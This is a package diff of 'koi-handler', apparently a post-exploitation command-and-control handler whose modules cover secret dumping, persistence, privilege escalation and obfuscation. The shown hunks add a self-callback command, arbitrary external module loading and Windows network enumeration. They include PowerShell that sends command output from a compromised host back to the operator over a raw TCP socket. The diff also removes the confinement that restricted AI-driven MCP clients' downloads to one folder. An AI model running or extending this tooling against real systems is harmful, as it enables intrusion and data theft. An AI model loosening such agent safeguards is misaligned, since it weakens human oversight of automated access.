koi-handler 0.12.2__tar.gz → 0.12.4__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {koi_handler-0.12.2/src/koi_handler.egg-info → koi_handler-0.12.4}/PKG-INFO +1 -1
- {koi_handler-0.12.2 → koi_handler-0.12.4}/pyproject.toml +1 -1
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/listener.py +40 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/mcp/server.py +6 -11
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/modules/blueprint.py +20 -7
- koi_handler-0.12.4/src/koi/modules/loader.py +236 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/modules/network_enum.py +236 -2
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/modules/secrets_dump.py +284 -195
- koi_handler-0.12.4/src/koi/modules/wifi_enum.py +212 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/utils/cli.py +26 -8
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/utils/connect/winrm.py +12 -3
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/utils/connect/wsman.py +75 -16
- {koi_handler-0.12.2 → koi_handler-0.12.4/src/koi_handler.egg-info}/PKG-INFO +1 -1
- koi_handler-0.12.2/src/koi/modules/loader.py +0 -87
- koi_handler-0.12.2/src/koi/modules/wifi_enum.py +0 -62
- {koi_handler-0.12.2 → koi_handler-0.12.4}/LICENSE +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/setup.cfg +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/main.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/mcp/__init__.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/mcp/schema.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/modules/download.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/modules/duplicate.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/modules/get_processes.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/modules/get_users.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/modules/ligolo.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/modules/peas.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/modules/populate_win.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/modules/sharphound.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/modules/ssh_persist.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/modules/sysinfo.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/modules/upload.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/modules/upload64.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/modules/winscalate.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/session.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/tunnel/__init__.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/tunnel/agent_payload.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/tunnel/engine/__init__.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/tunnel/engine/__main__.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/tunnel/engine/agent.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/tunnel/engine/packet.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/tunnel/engine/proxy.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/tunnel/engine/stack.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/tunnel/engine/tcp.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/tunnel/engine/transport.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/tunnel/engine/tun.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/tunnel/manager.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/utils/__init__.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/utils/bash_obfuscate.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/utils/cache.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/utils/config.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/utils/config_ui.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/utils/connect/__init__.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/utils/connect/base.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/utils/connect/ntlm.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/utils/connect/ssh.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/utils/constants.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/utils/detect.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/utils/interact.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/utils/logger.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/utils/models.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/utils/obfuscate_ui.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/utils/payloads.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/utils/powerupgrade.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/utils/ps_obfuscate.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/utils/tcp.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/utils/terminal.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/utils/tls.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi/utils/ui.py +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi_handler.egg-info/SOURCES.txt +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi_handler.egg-info/dependency_links.txt +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi_handler.egg-info/entry_points.txt +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi_handler.egg-info/requires.txt +0 -0
- {koi_handler-0.12.2 → koi_handler-0.12.4}/src/koi_handler.egg-info/top_level.txt +0 -0
|
@@ -615,6 +615,8 @@ class Listener:
|
|
|
615
615
|
|
|
616
616
|
expect_ip = None if (host is None or transport.direct) else target_ip
|
|
617
617
|
landed = self._wait_for_callback(known, expect_ip)
|
|
618
|
+
if landed and transport.direct:
|
|
619
|
+
landed.addr = (target_ip, landed.addr[1])
|
|
618
620
|
if not landed:
|
|
619
621
|
notify('warning', f"No callback after {int(_CONNECT_WAIT)}s.")
|
|
620
622
|
notify('status', muted(
|
|
@@ -648,6 +650,16 @@ class Listener:
|
|
|
648
650
|
except Exception:
|
|
649
651
|
pass
|
|
650
652
|
|
|
653
|
+
def _cmd_self(self) -> None:
|
|
654
|
+
from koi.utils.payloads import linux_callback_script
|
|
655
|
+
script = linux_callback_script('127.0.0.1', self.port)
|
|
656
|
+
subprocess.Popen(
|
|
657
|
+
['sh', '-c', script],
|
|
658
|
+
stdin=subprocess.DEVNULL,
|
|
659
|
+
stdout=subprocess.DEVNULL,
|
|
660
|
+
stderr=subprocess.DEVNULL,
|
|
661
|
+
)
|
|
662
|
+
|
|
651
663
|
def _cmd_stop_accepting(self) -> None:
|
|
652
664
|
if not self._accepting:
|
|
653
665
|
notify('warning', "Listener is already paused.")
|
|
@@ -700,6 +712,10 @@ class Listener:
|
|
|
700
712
|
self._cmd_connect(parts[1:])
|
|
701
713
|
return True
|
|
702
714
|
|
|
715
|
+
if cmd == "self":
|
|
716
|
+
self._cmd_self()
|
|
717
|
+
return True
|
|
718
|
+
|
|
703
719
|
if cmd == "tunnel":
|
|
704
720
|
self._cmd_tunnel(parts[1:])
|
|
705
721
|
return True
|
|
@@ -712,6 +728,8 @@ class Listener:
|
|
|
712
728
|
"logs": (self._cmd_logs, 0),
|
|
713
729
|
"modules": (self._cmd_modules, 0),
|
|
714
730
|
"reload": (self._cmd_reload, 0),
|
|
731
|
+
"import": (self._cmd_import, 1),
|
|
732
|
+
"unimport": (self._cmd_unimport, 1),
|
|
715
733
|
"go": (self._cmd_go, 1),
|
|
716
734
|
"upgrade": (self._cmd_upgrade, 1),
|
|
717
735
|
"encrypt": (self._cmd_encrypt, 1),
|
|
@@ -768,6 +786,28 @@ class Listener:
|
|
|
768
786
|
modules = load_modules(reload=True)
|
|
769
787
|
notify('info', f"Loaded {accent(str(len(modules)))} modules.")
|
|
770
788
|
|
|
789
|
+
def _cmd_import(self, path: Optional[str]) -> None:
|
|
790
|
+
if path is None:
|
|
791
|
+
notify('status', f"Usage: import {accent('<path>')}")
|
|
792
|
+
return
|
|
793
|
+
from koi.modules.loader import import_module
|
|
794
|
+
ok, msg = import_module(path)
|
|
795
|
+
if ok:
|
|
796
|
+
notify('success', f"Module {accent(msg)} imported.")
|
|
797
|
+
else:
|
|
798
|
+
notify('error', msg)
|
|
799
|
+
|
|
800
|
+
def _cmd_unimport(self, name: Optional[str]) -> None:
|
|
801
|
+
if name is None:
|
|
802
|
+
notify('status', f"Usage: unimport {accent('<name>')}")
|
|
803
|
+
return
|
|
804
|
+
from koi.modules.loader import unimport_module
|
|
805
|
+
ok, msg = unimport_module(name)
|
|
806
|
+
if ok:
|
|
807
|
+
notify('success', f"Module {accent(msg)} removed.")
|
|
808
|
+
else:
|
|
809
|
+
notify('error', msg)
|
|
810
|
+
|
|
771
811
|
def _cmd_upgrade(self, ref: str) -> None:
|
|
772
812
|
sess = self._require_alive_session(ref)
|
|
773
813
|
if sess is None:
|
|
@@ -40,8 +40,6 @@ _MAX_EXEC_TIMEOUT = 600.0
|
|
|
40
40
|
_MAX_TAG_LEN = 64
|
|
41
41
|
_MAX_OUTPUT_BYTES = 256 * 1024
|
|
42
42
|
|
|
43
|
-
# MCP file transfers are confined here; a CLI operator stays unrestricted.
|
|
44
|
-
_DOWNLOAD_ROOT = Path.home() / ".koi" / "downloads"
|
|
45
43
|
|
|
46
44
|
# Tools that mutate state or run code: never offered on a read-only connection.
|
|
47
45
|
_EXEC_ONLY_TOOLS = {"koi_exec", "koi_tag", "koi_tunnel_start", "koi_tunnel_stop"}
|
|
@@ -104,14 +102,12 @@ def _exec_timeout(value) -> float:
|
|
|
104
102
|
return min(timeout, _MAX_EXEC_TIMEOUT)
|
|
105
103
|
|
|
106
104
|
|
|
107
|
-
def
|
|
108
|
-
_DOWNLOAD_ROOT.mkdir(parents=True, exist_ok=True)
|
|
105
|
+
def _resolve_download_output(client_value, remote_path: str) -> str:
|
|
109
106
|
if client_value:
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
return str(_DOWNLOAD_ROOT / (base or "download"))
|
|
107
|
+
return str(Path(str(client_value)).resolve())
|
|
108
|
+
stripped = remote_path.rstrip("/\\")
|
|
109
|
+
base = ntpath.basename(stripped) or posixpath.basename(stripped)
|
|
110
|
+
return str(Path.cwd() / (base or "download"))
|
|
115
111
|
|
|
116
112
|
|
|
117
113
|
|
|
@@ -588,12 +584,11 @@ class KoiMCPServer:
|
|
|
588
584
|
ts = time.strftime("%H:%M:%S")
|
|
589
585
|
self.listener._announce('status', f"{accent(ts)} {plain('MCP: module')} {muted(mod_name)} {plain(f'on session #{sess.id}')}")
|
|
590
586
|
|
|
591
|
-
# Local paths from an MCP client stay confined to ~/.koi, never the operator's disk at large.
|
|
592
587
|
safe_args = {k: v for k, v in arguments.items() if k != "session"}
|
|
593
588
|
if mod_name == "download":
|
|
594
589
|
remote = safe_args.get("remote_path")
|
|
595
590
|
remote_str = " ".join(remote) if isinstance(remote, list) else str(remote or "")
|
|
596
|
-
safe_args["output"] =
|
|
591
|
+
safe_args["output"] = _resolve_download_output(safe_args.get("output"), remote_str)
|
|
597
592
|
argv = schema_to_argv(mod_cls, safe_args)
|
|
598
593
|
|
|
599
594
|
error: Optional[str] = None
|
|
@@ -277,6 +277,7 @@ class KoiModule(ABC):
|
|
|
277
277
|
|
|
278
278
|
eol = self.session.eol
|
|
279
279
|
enc = self.session.encoding
|
|
280
|
+
|
|
280
281
|
self.session.conn.sendall((cmd + eol).encode(enc))
|
|
281
282
|
|
|
282
283
|
buf = b""
|
|
@@ -300,11 +301,14 @@ class KoiModule(ABC):
|
|
|
300
301
|
if not text or "Write-Host" in text:
|
|
301
302
|
continue
|
|
302
303
|
if marker in text:
|
|
303
|
-
|
|
304
|
-
|
|
305
|
-
self._logger
|
|
306
|
-
|
|
307
|
-
|
|
304
|
+
if text == marker:
|
|
305
|
+
result = "\n".join(collected)
|
|
306
|
+
if self._logger and result:
|
|
307
|
+
self._logger.log_event(f"exec {ps_expr}")
|
|
308
|
+
self._logger.log_output(result.encode("utf-8", errors="replace"))
|
|
309
|
+
return result
|
|
310
|
+
collected.clear()
|
|
311
|
+
continue
|
|
308
312
|
collected.append(text)
|
|
309
313
|
|
|
310
314
|
result = "\n".join(collected)
|
|
@@ -318,7 +322,7 @@ class KoiModule(ABC):
|
|
|
318
322
|
"""_win_query for upgraded sessions: PowerShell pushes the result to a
|
|
319
323
|
local socket, bypassing the VT100 stream."""
|
|
320
324
|
local_ip = self._get_local_ip()
|
|
321
|
-
with TCPReceiveServer(timeout=timeout) as srv:
|
|
325
|
+
with TCPReceiveServer(timeout=timeout, expected_ip=self.session.addr[0]) as srv:
|
|
322
326
|
ps_cmd = (
|
|
323
327
|
f"$_r=({ps_expr})|Out-String;"
|
|
324
328
|
f"$_c=New-Object Net.Sockets.TcpClient('{local_ip}',{srv.port});"
|
|
@@ -673,6 +677,15 @@ class KoiModule(ABC):
|
|
|
673
677
|
else:
|
|
674
678
|
output_lines.append(text)
|
|
675
679
|
|
|
680
|
+
if buf:
|
|
681
|
+
text = buf.decode(enc, errors="replace").strip("\r\n ")
|
|
682
|
+
text = _PS_PROMPT.sub("", text).strip()
|
|
683
|
+
if text:
|
|
684
|
+
if match := done_re.match(text):
|
|
685
|
+
returncode = int(match.group(1))
|
|
686
|
+
return self._build_result(
|
|
687
|
+
command, returncode, output_lines, started, _silent,
|
|
688
|
+
)
|
|
676
689
|
return self._build_result(command, returncode, output_lines, started, _silent)
|
|
677
690
|
|
|
678
691
|
@_owns_io
|
|
@@ -681,7 +694,7 @@ class KoiModule(ABC):
|
|
|
681
694
|
done_re = re.compile(rf"{re.escape(marker)}:(-?\d+)")
|
|
682
695
|
local_ip = self._get_local_ip()
|
|
683
696
|
|
|
684
|
-
with TCPReceiveServer(timeout=timeout) as srv:
|
|
697
|
+
with TCPReceiveServer(timeout=timeout, expected_ip=self.session.addr[0]) as srv:
|
|
685
698
|
ps_cmd = (
|
|
686
699
|
f"$_r=(& {{ {command} }}) 2>&1 | Out-String;"
|
|
687
700
|
f"$_rc={_PS_RC_ASSIGN};"
|
|
@@ -0,0 +1,236 @@
|
|
|
1
|
+
from __future__ import annotations
|
|
2
|
+
|
|
3
|
+
import importlib
|
|
4
|
+
import importlib.util
|
|
5
|
+
import inspect
|
|
6
|
+
import json
|
|
7
|
+
import logging
|
|
8
|
+
import os
|
|
9
|
+
import pkgutil
|
|
10
|
+
import sys
|
|
11
|
+
import tempfile
|
|
12
|
+
from pathlib import Path
|
|
13
|
+
from typing import Dict, Optional, Type
|
|
14
|
+
|
|
15
|
+
logger = logging.getLogger("koi.modules.loader")
|
|
16
|
+
|
|
17
|
+
_cache: Optional[Dict[str, Type]] = None
|
|
18
|
+
|
|
19
|
+
_MODULES_JSON = Path.home() / ".koi" / "modules.json"
|
|
20
|
+
|
|
21
|
+
|
|
22
|
+
def _modules_dir() -> Path:
|
|
23
|
+
return Path(__file__).parent
|
|
24
|
+
|
|
25
|
+
|
|
26
|
+
def _read_external_paths() -> list[str]:
|
|
27
|
+
try:
|
|
28
|
+
data = json.loads(_MODULES_JSON.read_text())
|
|
29
|
+
if isinstance(data, list):
|
|
30
|
+
return [p for p in data if isinstance(p, str)]
|
|
31
|
+
except (OSError, json.JSONDecodeError):
|
|
32
|
+
pass
|
|
33
|
+
return []
|
|
34
|
+
|
|
35
|
+
|
|
36
|
+
def _write_external_paths(paths: list[str]) -> None:
|
|
37
|
+
_MODULES_JSON.parent.mkdir(parents=True, exist_ok=True)
|
|
38
|
+
fd, tmp = tempfile.mkstemp(
|
|
39
|
+
dir=str(_MODULES_JSON.parent), prefix=".modules.", suffix=".tmp",
|
|
40
|
+
)
|
|
41
|
+
try:
|
|
42
|
+
with os.fdopen(fd, "w", encoding="utf-8") as f:
|
|
43
|
+
f.write(json.dumps(paths, indent=2) + "\n")
|
|
44
|
+
os.replace(tmp, _MODULES_JSON)
|
|
45
|
+
except OSError:
|
|
46
|
+
try:
|
|
47
|
+
os.unlink(tmp)
|
|
48
|
+
except OSError:
|
|
49
|
+
pass
|
|
50
|
+
raise
|
|
51
|
+
|
|
52
|
+
|
|
53
|
+
def _ext_mod_id(filepath: str) -> str:
|
|
54
|
+
return f"_koi_ext.{Path(filepath).resolve()}"
|
|
55
|
+
|
|
56
|
+
|
|
57
|
+
def _load_external_file(filepath: str, koi_module_cls: type) -> Optional[type]:
|
|
58
|
+
mod_id = _ext_mod_id(filepath)
|
|
59
|
+
spec = importlib.util.spec_from_file_location(mod_id, filepath)
|
|
60
|
+
if spec is None or spec.loader is None:
|
|
61
|
+
return None
|
|
62
|
+
module = importlib.util.module_from_spec(spec)
|
|
63
|
+
try:
|
|
64
|
+
spec.loader.exec_module(module)
|
|
65
|
+
except Exception:
|
|
66
|
+
sys.modules.pop(mod_id, None)
|
|
67
|
+
raise
|
|
68
|
+
sys.modules[mod_id] = module
|
|
69
|
+
for _attr, obj in inspect.getmembers(module, inspect.isclass):
|
|
70
|
+
if (
|
|
71
|
+
issubclass(obj, koi_module_cls)
|
|
72
|
+
and obj is not koi_module_cls
|
|
73
|
+
and obj.__module__ == mod_id
|
|
74
|
+
):
|
|
75
|
+
return obj
|
|
76
|
+
return None
|
|
77
|
+
|
|
78
|
+
|
|
79
|
+
def load_modules(reload: bool = False) -> Dict[str, Type]:
|
|
80
|
+
global _cache
|
|
81
|
+
if _cache is not None and not reload:
|
|
82
|
+
return _cache
|
|
83
|
+
|
|
84
|
+
from koi.modules.blueprint import KoiModule
|
|
85
|
+
|
|
86
|
+
discovered: Dict[str, Type[KoiModule]] = {}
|
|
87
|
+
pkg_path = str(_modules_dir())
|
|
88
|
+
|
|
89
|
+
for finder, mod_name, _ in pkgutil.iter_modules([pkg_path]):
|
|
90
|
+
if mod_name.startswith("_") or mod_name in ("blueprint", "loader"):
|
|
91
|
+
continue
|
|
92
|
+
|
|
93
|
+
full_name = f"koi.modules.{mod_name}"
|
|
94
|
+
try:
|
|
95
|
+
if full_name in sys.modules:
|
|
96
|
+
module = importlib.reload(sys.modules[full_name])
|
|
97
|
+
else:
|
|
98
|
+
module = importlib.import_module(full_name)
|
|
99
|
+
except Exception as exc:
|
|
100
|
+
logger.warning(f"Could not import module {full_name!r}: {exc}")
|
|
101
|
+
continue
|
|
102
|
+
|
|
103
|
+
for _attr_name, obj in inspect.getmembers(module, inspect.isclass):
|
|
104
|
+
if (
|
|
105
|
+
issubclass(obj, KoiModule)
|
|
106
|
+
and obj is not KoiModule
|
|
107
|
+
and obj.__module__ == full_name
|
|
108
|
+
):
|
|
109
|
+
key = obj.name
|
|
110
|
+
if key in discovered:
|
|
111
|
+
logger.warning(
|
|
112
|
+
f"Name collision: {full_name!r} and "
|
|
113
|
+
f"{discovered[key].__module__!r} both claim name {key!r}. "
|
|
114
|
+
"Keeping first one found."
|
|
115
|
+
)
|
|
116
|
+
continue
|
|
117
|
+
discovered[key] = obj
|
|
118
|
+
logger.debug(f"Loaded module {key!r} from {full_name!r}")
|
|
119
|
+
|
|
120
|
+
builtin_names = set(discovered)
|
|
121
|
+
|
|
122
|
+
external_paths = _read_external_paths()
|
|
123
|
+
dead: list[str] = []
|
|
124
|
+
for filepath in external_paths:
|
|
125
|
+
if not Path(filepath).is_file():
|
|
126
|
+
dead.append(filepath)
|
|
127
|
+
continue
|
|
128
|
+
try:
|
|
129
|
+
cls = _load_external_file(filepath, KoiModule)
|
|
130
|
+
except Exception as exc:
|
|
131
|
+
logger.warning(f"Could not load external module {filepath!r}: {exc}")
|
|
132
|
+
continue
|
|
133
|
+
if cls is None:
|
|
134
|
+
logger.warning(f"No KoiModule subclass found in {filepath!r}")
|
|
135
|
+
continue
|
|
136
|
+
key = cls.name
|
|
137
|
+
if key in builtin_names:
|
|
138
|
+
logger.warning(f"External {filepath!r} name {key!r} collides with built-in, skipped.")
|
|
139
|
+
continue
|
|
140
|
+
if key in discovered:
|
|
141
|
+
logger.warning(f"External {filepath!r} name {key!r} already loaded, skipped.")
|
|
142
|
+
continue
|
|
143
|
+
discovered[key] = cls
|
|
144
|
+
logger.debug(f"Loaded external module {key!r} from {filepath!r}")
|
|
145
|
+
|
|
146
|
+
if dead:
|
|
147
|
+
_write_external_paths([p for p in external_paths if p not in dead])
|
|
148
|
+
|
|
149
|
+
_cache = discovered
|
|
150
|
+
return discovered
|
|
151
|
+
|
|
152
|
+
|
|
153
|
+
def import_module(path: str) -> tuple[bool, str]:
|
|
154
|
+
resolved = str(Path(path).resolve())
|
|
155
|
+
if not resolved.endswith(".py"):
|
|
156
|
+
return False, "File must be a .py file."
|
|
157
|
+
if not Path(resolved).is_file():
|
|
158
|
+
return False, f"File not found: {resolved}"
|
|
159
|
+
|
|
160
|
+
try:
|
|
161
|
+
source = Path(resolved).read_text()
|
|
162
|
+
compile(source, resolved, "exec")
|
|
163
|
+
except SyntaxError as exc:
|
|
164
|
+
return False, f"Syntax error: {exc}"
|
|
165
|
+
|
|
166
|
+
from koi.modules.blueprint import KoiModule
|
|
167
|
+
try:
|
|
168
|
+
cls = _load_external_file(resolved, KoiModule)
|
|
169
|
+
except Exception as exc:
|
|
170
|
+
return False, f"Import failed: {exc}"
|
|
171
|
+
if cls is None:
|
|
172
|
+
return False, "No KoiModule subclass found in file."
|
|
173
|
+
|
|
174
|
+
name = cls.name
|
|
175
|
+
if not name:
|
|
176
|
+
return False, "Module has no name attribute."
|
|
177
|
+
|
|
178
|
+
current = load_modules()
|
|
179
|
+
existing = current.get(name)
|
|
180
|
+
if existing:
|
|
181
|
+
if existing.__module__.startswith("koi.modules."):
|
|
182
|
+
return False, f"Name {name!r} collides with built-in module."
|
|
183
|
+
ext_path = existing.__module__.removeprefix("_koi_ext.")
|
|
184
|
+
if ext_path != resolved:
|
|
185
|
+
return False, f"Name {name!r} already taken by {ext_path}."
|
|
186
|
+
|
|
187
|
+
paths = _read_external_paths()
|
|
188
|
+
if resolved not in paths:
|
|
189
|
+
paths.append(resolved)
|
|
190
|
+
_write_external_paths(paths)
|
|
191
|
+
|
|
192
|
+
load_modules(reload=True)
|
|
193
|
+
return True, name
|
|
194
|
+
|
|
195
|
+
|
|
196
|
+
def unimport_module(name: str) -> tuple[bool, str]:
|
|
197
|
+
current = load_modules()
|
|
198
|
+
cls = current.get(name)
|
|
199
|
+
if cls is None:
|
|
200
|
+
return False, f"No module named {name!r}."
|
|
201
|
+
if cls.__module__.startswith("koi.modules."):
|
|
202
|
+
return False, f"{name!r} is a built-in module."
|
|
203
|
+
|
|
204
|
+
paths = _read_external_paths()
|
|
205
|
+
ext_path = cls.__module__.removeprefix("_koi_ext.")
|
|
206
|
+
remaining = [p for p in paths if str(Path(p).resolve()) != ext_path]
|
|
207
|
+
if len(remaining) == len(paths):
|
|
208
|
+
return False, f"Could not find {name!r} in external modules registry."
|
|
209
|
+
_write_external_paths(remaining)
|
|
210
|
+
load_modules(reload=True)
|
|
211
|
+
return True, name
|
|
212
|
+
|
|
213
|
+
|
|
214
|
+
def get_module(name: str) -> Optional[Type]:
|
|
215
|
+
return load_modules().get(name)
|
|
216
|
+
|
|
217
|
+
|
|
218
|
+
def collect_external_resources() -> list[dict]:
|
|
219
|
+
"""Collect the external resources every loaded module wants pre-cached.
|
|
220
|
+
|
|
221
|
+
Goes through ``resolve_external_resources()`` so a module can compute its
|
|
222
|
+
list dynamically. A failing resolver is skipped with a warning rather than
|
|
223
|
+
aborting the whole ``--local-prepare`` run.
|
|
224
|
+
"""
|
|
225
|
+
resources = []
|
|
226
|
+
for mod_cls in load_modules().values():
|
|
227
|
+
try:
|
|
228
|
+
module_resources = mod_cls.resolve_external_resources()
|
|
229
|
+
except Exception as exc:
|
|
230
|
+
logger.warning(
|
|
231
|
+
f"Could not resolve external resources for {mod_cls.__name__!r}: {exc}"
|
|
232
|
+
)
|
|
233
|
+
continue
|
|
234
|
+
if module_resources:
|
|
235
|
+
resources.extend(module_resources)
|
|
236
|
+
return resources
|
|
@@ -9,7 +9,7 @@ class NetworkEnumModule(KoiModule):
|
|
|
9
9
|
name = "netscan"
|
|
10
10
|
description = "Enumerate interfaces, routes, connections, open ports, and discover live hosts."
|
|
11
11
|
category = "Enumeration"
|
|
12
|
-
platform = "linux"
|
|
12
|
+
platform = ["linux", "windows_ps"]
|
|
13
13
|
usage = "netscan <id> [--no-scan] [-s CIDR] [-t N]"
|
|
14
14
|
arguments = [
|
|
15
15
|
{"flags": ["--no-scan"], "action": "store_true", "default": False,
|
|
@@ -357,6 +357,12 @@ cat /etc/resolv.conf 2>/dev/null
|
|
|
357
357
|
self.warn(f"No live hosts found on {network}.")
|
|
358
358
|
|
|
359
359
|
def run(self) -> None:
|
|
360
|
+
if self.session.os_type == "linux":
|
|
361
|
+
self._run_linux()
|
|
362
|
+
else:
|
|
363
|
+
self._run_windows()
|
|
364
|
+
|
|
365
|
+
def _run_linux(self) -> None:
|
|
360
366
|
no_scan = getattr(self.args, "no_scan", False)
|
|
361
367
|
subnet = getattr(self.args, "subnet", None)
|
|
362
368
|
t = getattr(self.args, "timeout", 1)
|
|
@@ -383,4 +389,232 @@ cat /etc/resolv.conf 2>/dev/null
|
|
|
383
389
|
elif not ifaces and not subnet:
|
|
384
390
|
self.warn("No interfaces detected, skipping host discovery.")
|
|
385
391
|
else:
|
|
386
|
-
self._discover_hosts(ifaces, subnet, t)
|
|
392
|
+
self._discover_hosts(ifaces, subnet, t)
|
|
393
|
+
|
|
394
|
+
# ---------------------------------------------------------------- windows
|
|
395
|
+
|
|
396
|
+
def _run_windows(self) -> None:
|
|
397
|
+
no_scan = getattr(self.args, "no_scan", False)
|
|
398
|
+
subnet = getattr(self.args, "subnet", None)
|
|
399
|
+
t = getattr(self.args, "timeout", 1)
|
|
400
|
+
|
|
401
|
+
with self.spinner("Enumerating interfaces..."):
|
|
402
|
+
iface_box, cidrs = self._win_interfaces()
|
|
403
|
+
if iface_box:
|
|
404
|
+
self.box("Interfaces", iface_box)
|
|
405
|
+
|
|
406
|
+
for spinner_msg, box_title, fn in [
|
|
407
|
+
("Fetching routing table...", "Routes", self._win_routes),
|
|
408
|
+
("Reading ARP neighbors...", "ARP neighbors", self._win_neighbors),
|
|
409
|
+
("Listing listening ports...", "Listening ports", self._win_listening),
|
|
410
|
+
("Listing established connections...", "Established connections", self._win_connections),
|
|
411
|
+
("Reading DNS config...", "DNS servers", self._win_dns),
|
|
412
|
+
]:
|
|
413
|
+
with self.spinner(spinner_msg):
|
|
414
|
+
data = fn()
|
|
415
|
+
if data:
|
|
416
|
+
self.box(box_title, data)
|
|
417
|
+
|
|
418
|
+
if no_scan:
|
|
419
|
+
self.status("Skipping live host discovery (--no-scan).")
|
|
420
|
+
elif not cidrs and not subnet:
|
|
421
|
+
self.warn("No interfaces detected, skipping host discovery.")
|
|
422
|
+
else:
|
|
423
|
+
self._win_discover_hosts(cidrs, subnet, t)
|
|
424
|
+
|
|
425
|
+
def _win_interfaces(self) -> tuple[dict[str, str], list[str]]:
|
|
426
|
+
raw = self._win_query(
|
|
427
|
+
"&{"
|
|
428
|
+
"(Get-NetIPAddress -EA SilentlyContinue|"
|
|
429
|
+
"Where-Object{$_.IPAddress -ne '127.0.0.1' -and $_.IPAddress -ne '::1'}|"
|
|
430
|
+
"ForEach-Object{"
|
|
431
|
+
f"$_.InterfaceAlias+'{self.FIELD_SEP}'+$_.IPAddress+'/'+$_.PrefixLength"
|
|
432
|
+
f"}})-join '{self.REC_SEP}'"
|
|
433
|
+
"}",
|
|
434
|
+
timeout=TIMEOUTS["exec_query"],
|
|
435
|
+
)
|
|
436
|
+
grouped: dict[str, list[str]] = {}
|
|
437
|
+
cidrs: list[str] = []
|
|
438
|
+
for entry in raw.split(self.REC_SEP):
|
|
439
|
+
entry = entry.strip()
|
|
440
|
+
if self.FIELD_SEP not in entry:
|
|
441
|
+
continue
|
|
442
|
+
iface, addr = entry.split(self.FIELD_SEP, 1)
|
|
443
|
+
iface, addr = iface.strip(), addr.strip()
|
|
444
|
+
if not iface or not addr:
|
|
445
|
+
continue
|
|
446
|
+
grouped.setdefault(iface, []).append(addr)
|
|
447
|
+
